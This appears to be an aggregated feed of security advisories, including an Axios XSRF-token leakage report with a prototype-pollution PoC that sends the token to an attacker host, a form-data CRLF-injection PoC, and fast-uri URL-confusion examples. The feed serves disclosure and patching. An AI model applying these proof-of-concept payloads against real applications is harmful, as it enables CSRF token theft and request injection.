Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion

Summary

The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker.

Severity: Medium (CVSS 5.4) Affected Versions: All versions since withXSRFToken was introduced Vulnerable Component: lib/helpers/resolveConfig.js:59 Environment: Browser-only (XSRF logic only runs when hasStandardBrowserEnv is true)

CWE

- CWE-201: Insertion of Sensitive Information Into Sent Data - CWE-183: Permissive List of Allowed Inputs

CVSS 3.1

Score: 5.4 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP triggered remotely via vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx | | Privileges Required | None | No authentication needed | | User Interaction | Required | Victim must use browser with axios making cross-origin requests | | Scope | Unchanged | Token leakage within browser context | | Confidentiality | Low | XSRF token leaked — anti-CSRF token, not session token | | Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) | | Availability | None | No availability impact |

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input when triggered via prototype pollution.

If an attacker can pollute Object.prototype.withXSRFToken with any truthy value (e.g., 1, "true", {}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.

Vulnerable Code

File: lib/helpers/resolveConfig.js, lines 57-66

javascript // Line 57: Function check — only applies if withXSRFToken is a function withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));

// Line 59: The vulnerable condition if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) { // ^^^^^^^^^^^^^^^^ // When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits // isURLSameOrigin() is NEVER called → token sent to ANY origin const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { headers.set(xsrfHeaderName, xsrfValue); } }

Designed behavior: - true → always send token (explicit cross-origin opt-in) - false → never send token - undefined → send only for same-origin requests

Actual behavior for non-boolean truthy values (1, "false", {}, []): - All treated as truthy → same-origin check skipped → token sent everywhere

Proof of Concept

javascript // Simulated prototype pollution from any vulnerable dependency Object.prototype.withXSRFToken = 1;

// In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123" // Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123 // Even to cross-origin hosts: await axios.get('https://attacker.com/collect'); // → attacker receives the XSRF token in request headers

Verified PoC Output

withXSRFToken Value Sends Token Cross-Origin Expected true (boolean) YES Yes (opt-in) false (boolean) No No undefined (default) No No 1 (number) YES ← BUG No "false" (string) YES ← BUG No {} (object) YES ← BUG No [] (array) YES ← BUG No

Prototype pollution: Object.prototype.withXSRFToken = 1 config.withXSRFToken = 1 → leaks=true isURLSameOrigin() was NOT called (short-circuited)

Impact Analysis

- XSRF Token Theft: Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application - Universal Scope: A single Object.prototype.withXSRFToken = 1 affects every axios request in the application - Misconfiguration Risk: Developer writing withXSRFToken: "false" (string) instead of false (boolean) triggers the same issue without PP

Limitations: - Browser-only (XSRF logic runs only in hasStandardBrowserEnv) - XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking - Attacker still needs a way to deliver the forged request after obtaining the token

Recommended Fix

Use strict boolean comparison:

javascript // FIXED: lib/helpers/resolveConfig.js const shouldSendXSRF = withXSRFToken === true || (withXSRFToken == null && isURLSameOrigin(newConfig.url));

if (shouldSendXSRF) { const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { headers.set(xsrfHeaderName, xsrfValue); } }

Resources

- CWE-201: Insertion of Sensitive Information Into Sent Data - CWE-183: Permissive List of Allowed Inputs - GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios - Axios GitHub Repository

Timeline

| Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-16 | Report revised: corrected CVSS, documented limitations | | TBD | Report submitted to vendor via GitHub Security Advisory |

1 / 2
Source: GitHub
First published (updated )
Severity
6.3
EPSS
0.36%
Null Pointer Dereference
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Summary

qs.stringify throws TypeError when called with arrayFormat: 'comma' and encodeValuesOnly: true on an array containing null or undefined. The throw is synchronous and not handled by any of qs's null-related options (skipNulls, strictNullHandling).

Details

In the comma + encodeValuesOnly branch, lib/stringify.js:145 mapped the array through the raw encoder before joining:

js

obj = utils.maybeMap(obj, encoder);

utils.encode (lib/utils.js:195) reads str.length with no null guard, so a null or undefined element throws TypeError. skipNulls and strictNullHandling are both checked in the per-element loop below this line and never get a chance to run.

Same class of bug as the filter-array path fixed in 0c180a4. The vulnerable shape of the comma + encodeValuesOnly branch was introduced in 4c4b23d ("encode comma values more consistently", PR #463, 2023-01-19), first released in v6.11.1.

PoC

js

const qs = require('qs');

qs.stringify({ a: [null, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true });

qs.stringify({ a: [undefined, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true });

qs.stringify({ a: [null] }, { arrayFormat: 'comma', encodeValuesOnly: true });

// TypeError: Cannot read properties of null (reading 'length')

// at encode (lib/utils.js:195:13)

// at Object.maybeMap (lib/utils.js:322:37)

// at stringify (lib/stringify.js:145:25)

Fix

lib/stringify.js:145, applied in 21f80b3 on main and released as v6.15.2:

diff

- obj = utils.maybeMap(obj, encoder);

+ obj = utils.maybeMap(obj, function (v) {

+ return v == null ? v : encoder(v);

+ });

null and undefined now pass through maybeMap unchanged and reach the join(',') step as-is. For { a: [null, 'b'] } this produces a=,b, matching the non-encodeValuesOnly comma path (which already joins before encoding and produces a=%2Cb for the same input). Single-element [null] arrays still collapse via the existing obj.join(',') || null and remain subject to skipNulls / strictNullHandling in the main loop.

Affected versions

=6.11.1 6.15.2 — fixed in v6.15.2.

The vulnerable code shape was introduced in 4c4b23d and first shipped in v6.11.1. Earlier versions — including all of 6.7.x, 6.8.x, 6.9.x, 6.10.x, and 6.11.0 — implemented the comma + encodeValuesOnly path differently (joining before encoding) and are not affected. Empirically verified across released versions.

Impact

Application code that calls qs.stringify with both arrayFormat: 'comma' and encodeValuesOnly: true (both non-default) on input that may contain a null or undefined array element will throw synchronously instead of producing a query string. In a typical Node.js HTTP framework (Express, Fastify, Koa, hapi) the sync throw is caught by the framework's error boundary and the affected request returns a 500; the worker process does not exit and subsequent requests are unaffected. The "kills the worker process" framing applies only to call sites outside a request-handler error boundary (background jobs, startup paths, stream pipelines) or to deployments with framework error handling explicitly disabled.

The vulnerable input is a null or undefined entry inside an array; this is reachable from JSON request bodies or from application code constructing arrays from user input, but not from standard HTML form submissions (which produce strings or omitted fields, not literal null).

1 / 3
Source: IBM
First published (updated )
Severity
7.5
EPSS
0.03%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Impact

fast-uri v3.1.1 and earlier decodes percent-encoded authority delimiters (%40 as @, %3A as :) inside the host component and serializes them back as raw characters. This changes the URI structure, turning a hostname into userinfo plus a different host.

For example, http://trusted.com%40evil.com/ normalizes to http://trusted.com@evil.com/, which reparses as host evil.com with userinfo trusted.com.

Applications that normalize untrusted URLs before host allowlist checks, redirect validation, or outbound request routing can be steered to a different authority than the original URL appeared to contain.

Patches

Upgrade to fast-uri >= 3.1.2.

Workarounds

None. Upgrade to the patched version.

1 / 3
Source: GitHub
First published (updated )
Severity
7.5
EPSS
0.03%
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Impact

fast-uri v3.1.0 and earlier decodes percent-encoded path separators (%2F) and dot segments (%2E) before applying dot-segment removal in normalize() and equal(). This makes encoded path data behave like real / and .., so distinct URIs collapse onto the same normalized path.

For example, http://example.com/public/%2e%2e/admin normalizes to http://example.com/admin, and equal() considers them the same URI.

Applications that normalize or compare attacker-controlled URLs to enforce path-based policy can be bypassed. A path that looks confined under an allowed prefix can normalize to a different location.

Patches

Upgrade to fast-uri >= 3.1.1.

Workarounds

None. Upgrade to the patched version.

1 / 3
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary pgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication.

Impact A malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count. With a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail. A single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools.

In affected versions, loginTimeout did not fully mitigate this problem. When loginTimeout expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation.

This issue affects availability. It does not provide authentication bypass, privilege escalation, or direct password disclosure.

A user is vulnerable when all of the following are true:

1. The connection uses SCRAM-SHA-256 authentication. 2. The client reaches a malicious, compromised, or attacker-controlled PostgreSQL endpoint. 3. That endpoint sends a very large SCRAM PBKDF2 iteration count in the server-first-message.

In practice, that can happen in these situations:

- the application lets end users or tenants supply their own database connection details (as in many BI, reporting, analytics, ETL, and low-code platforms), so a user can point the shared client host at a server they control - the application accepts connection strings, hostnames, or JDBC URLs from user input, configuration uploaded by users, or other untrusted sources - the application is configured to connect to a PostgreSQL server that is itself malicious or later becomes compromised - the application connects through an untrusted proxy, relay, tunnel, bastion, or connection-pooling service that can act as the PostgreSQL server - an attacker can redirect the client to a fake PostgreSQL endpoint by manipulating DNS, service discovery, Kubernetes service resolution, /etc/hosts, environment variables, or similar indirection - an active network attacker on the path can impersonate the server because the connection does not strongly verify server identity (for example, sslmode lower than verify-full, or trusting a CA that signs hosts outside the operator's control)

The issue is more damaging when the application uses connection retries, many parallel connection attempts, or loginTimeout and assumes the timeout fully stops the work.

Patches The patch introduces a new connection property, scramMaxIterations, with a default of 100K. The client now rejects SCRAM server messages that advertise more PBKDF2 iterations than the configured cap before starting the PBKDF2 computation begins.

Workarounds

Until a patched version of pgjdbc is deployed, the following measures reduce exposure:

1. Only connect to trusted PostgreSQL servers whose identity is verified. Connect only to trusted PostgreSQL servers, and verify server identity with TLS using sslmode=verify-full and a trusted CA. TLS without certificate and hostname verification is not sufficient as an active network attacker can still impersonate the server.

2. Do not rely on loginTimeout as a complete mitigation on unpatched versions. On affected versions, loginTimeout can stop the waiting caller while the worker thread continues spending CPU.

3. Avoid SCRAM on untrusted or interceptable connection paths. For those paths, use an authentication method that does not let the server choose a SCRAM PBKDF2 iteration count.

4. Reduce blast radius operationally. Limit parallel connection attempts, add retry backoff, isolate connection establishment in a separate worker or process when possible, and apply CPU or container limits where appropriate.

5. On trusted servers you control, keep SCRAM iteration counts at ordinary values. This does not defend against an attacker-controlled server, but it avoids unnecessary client cost when talking to legitimate servers.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
CRLF Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Summary

form-data builds multipart/form-data request bodies. Through v4.0.5, the field name passed to FormData#append and the filename option are concatenated directly into the Content-Disposition header with no escaping of CR (\r), LF (\n), or ". An application that uses untrusted input as a field name or filename therefore lets an attacker terminate the header line and either inject additional headers or smuggle whole additional multipart parts into the request the application forwards to a backend.

This is CWE-93 (CRLF injection). It is a divergence from how browsers and the WHATWG HTML spec serialize form-data (they escape these characters), so the fix is to match that behavior. Severity is conditional: it depends on the consuming application passing attacker-controlled data as a field name or filename. Applications that only use fixed/trusted field names are not affected.

Details

In lib/formdata.js, multiPartHeader builds the part header as:

javascript 'Content-Disposition': ['form-data', 'name="' + field + '"'].concat(contentDisposition || [])

and getContentDisposition builds filename="' + filename + '"'. Neither escapes control characters, so a \r\n in field/filename ends the header line. The same applies to ", which can break out of the quoted parameter.

Proof of concept

javascript const FormData = require('form-data'); const form = new FormData(); form.append('email"\r\nX-Injected: true\r\nfake="', 'user@example.com'); console.log(form.getBuffer().toString());

Before the fix this emits an injected X-Injected: true header line. A field name that also includes --<boundary> sequences can introduce additional parts (e.g. an extra name="isadmin" field), which a downstream parser accepts as legitimate.

Impact

For an application that uses untrusted field names/filenames:

- Field injection / override (integrity). Inject or override fields the backend trusts (e.g. isadmin, role) — the primary demonstrated impact. - Header injection into the generated multipart part.

Claims of guaranteed privilege escalation, authentication bypass, high confidentiality impact, and availability impact are application-dependent downstream consequences, not properties of form-data itself, and are not demonstrated by the PoC.

Severity

The demonstrated, library-attributable impact is integrity (field/header injection); there is no demonstrated confidentiality disclosure or availability impact in form-data itself, and exploitation requires the consuming app to feed untrusted data into field names/filenames. A Moderate (≈5.3, I:L) rating is also defensible given that precondition.

Patch

Fixed in 4.0.6, 3.0.5, and 2.5.6. Users on older 0.x/1.x/2.x releases should upgrade to 2.5.6 or later.

The fix escapes \r, \n, and " as %0D, %0A, and %22 in field names and filenames, matching the WHATWG HTML multipart/form-data encoding algorithm that browsers implement. This neutralizes the injection while leaving ordinary field names (including name[0], dotted, and unicode names) unchanged.

Workaround

Until upgrading, validate or reject field names/filenames that contain control characters before calling append:

javascript if (/[\r\n]/.test(field)) { throw new Error('invalid field name'); }

Credit

Reported by yueyueL.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

IBM Business Automation Insights could allow a remote attacker to obtain sensitive information exposed in manifest files.

1 / 2
Source: IBM
First published (updated )
Severity
7.5
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.4 IBM WebSphere Application Server Liberty is vulnerable to identity spoofing under limited conditions when an application is deployed without authentication and authorization configured.

1 / 2
Source: MITRE
First published (updated )
Severity
9.1
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Copilot said: i18nextify is a JavaScript library that adds i18nextify is a JavaScript library that adds website internationalization via a script tag, without source code changes. Versions prior to 3.0.5 interpolate the lng and ns values directly into the configured loadPath / addPath URL template without any encoding, validation, or path sanitisation. When an application exposes the language-code selection to user-controlled input (the default — i18next-browser-languagedetector reads ?lng= query params, cookies, localStorage, and request headers), an attacker can inject characters that change the structure of the outgoing request URL. This is a single URL-injection vulnerability. The attacker-controlled value is neutralised before it is used as part of an output URL string; the attack shape covers both path traversal and broader URL-structure injection — both are closed by the one interpolateUrl sanitisation fix. This issue has been fixed in version 3.0.5. If users cannot upgrade immediately, they can work around the issue by sanitising lng / ns before they reach i18next (strip .., /, \, ?, #, %, whitespace, and control characters; cap the length).

First published (updated )
Severity
6.1
XSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

A cross-site scripting (XSS) vulnerability exists in Apache ECharts in the Lines series tooltip rendering logic.

This issue affects Apache ECharts: from before 6.1.0.

In versions prior to 6.1.0, if both Lines series and tooltip are used, and no user-specified tooltip.formatter is provided, and series.data[i].name is specified, raw HTML string series.data[i].name can be rendered through innerHTML sink into tooltip content. Although tooltip is allowed to accept user-provided raw HTML via a custom tooltip.formatter, the built-in tooltip formatters conventionally perform HTML escaping automatically. This case breaks that convention and may unexpectedly lead to script execution when tooltips are displayed.

Users are recommended to upgrade to version 6.1.0 if using the Lines series in this way, which fixes the issue.

First published (updated )
Severity
7.5
EPSS
0.28%
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N

IBM Web Server Plug-ins for WebSphere Application Server and WebSphere Liberty 8.5, 9.0 IBM WebSphere Application Server and WebSphere Application Server Liberty are vulnerable to HTTP request smuggling in the Web Server Plug-ins through a specially crafted request.

1 / 2
Source: MITRE
First published (updated )
Severity
9.8
EPSS
0.85%
Code Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

IBM Web Server Plug-ins for WebSphere Application Server and WebSphere Liberty 8.5, 9.0 IBM WebSphere Application Server and WebSphere Application Server Liberty are vulnerable to remote code execution in the Web Server Plug-ins, through a specially crafted request.

1 / 2
Source: MITRE
First published (updated )
Severity
5.9
Race Condition
AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N

IBM WebSphere Application Server - Liberty 22.0.0.11 through 26.0.0.5 IBM WebSphere Application Server Liberty could allow a remote attacker to bypass security under limited conditions by exploiting a specific timing window.

First published (updated )
Severity
4.3
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

An improper authorization vulnerability has been identified in Apache Kafka.

The implementation of the CONSUMERGROUPDESCRIBE (69) API validates the DESCRIBE operation on the GROUP resource instead of the READ operation that documented in the official kafka documentation and the KIP-848. This discrepancy can result in misconfigured Access Control Lists (ACLs) and unintended security postures, like granting READ permission to users who should not be able to join/sync groups, or allowing users without READ permission (but with DESCRIBE permission) to access sensitive group metadata.

The correct permission for CONSUMERGROUPDESCRIBE API is DESCRIBE GROUP so the current implementation is correct. However, the kafka documentation as well as the KIP-848 will be updated to reflect the correct permission. We advise the Kafka users to review existing group ACLs to ensure the principle of least privilege.

First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact

Multer is vulnerable to a Denial of Service (DoS) via deeply nested field names in multipart form data. The append-field dependency parses bracket notation in field names (e.g., a[b][c]) with no limit on nesting depth, allowing an attacker to force allocation of deeply nested object structures that consume CPU and memory. A single HTTP request with a crafted multipart body is sufficient to exploit this.

Patches

Users should upgrade to 2.2.0 and configure limits.fieldNestingDepth to the minimum depth their application requires.

Workarounds

Set limits.fields to a reasonable value to reduce the number of fields an attacker can send per request. This does not fully mitigate the issue but limits the impact.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Impact

A vulnerability in Multer allows an attacker to trigger a Denial of Service (DoS) by aborting or sending malformed multipart uploads, causing orphaned partial files to accumulate on disk when using diskStorage.

Patches

Users should upgrade to 2.2.0, 3.0.0-alpha.2 or higher

Workarounds

None

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
EPSS
0.26%
Code Injection
AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

IBM WebSphere Application Server and IBM WebSphere Application Server Liberty are vulnerable to remote code execution and denial of service in the WebSphere Web Server Plug-in component. This vulnerability can be exploited when an attacker impersonates the application server and sends crafted responses to the plug-in.

First published (updated )
Severity
9.8
EPSS
0.41%
Code Injection
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

IBM WebSphere Application Server and IBM WebSphere Application Server Liberty - when using Intelligent Management with the WebSphere WebServer Plug-in component - are vulnerable to remote code execution and denial of service. This vulnerability can be exploited when an attacker impersonates backend servers and sends crafted responses to the plug-in.

First published (updated )
Severity
7.5
Null Pointer Dereference
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

IBM i 7.6, 7.5, 7.4, and 7.3, IBM WebSphere Application Server, and IBM WebSphere Application Server Liberty are vulnerable to denial of service in the WebSphere WebServer Plug-in component when an attacker can pass crafted requests to the web server.

1 / 2
Source: MITRE
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203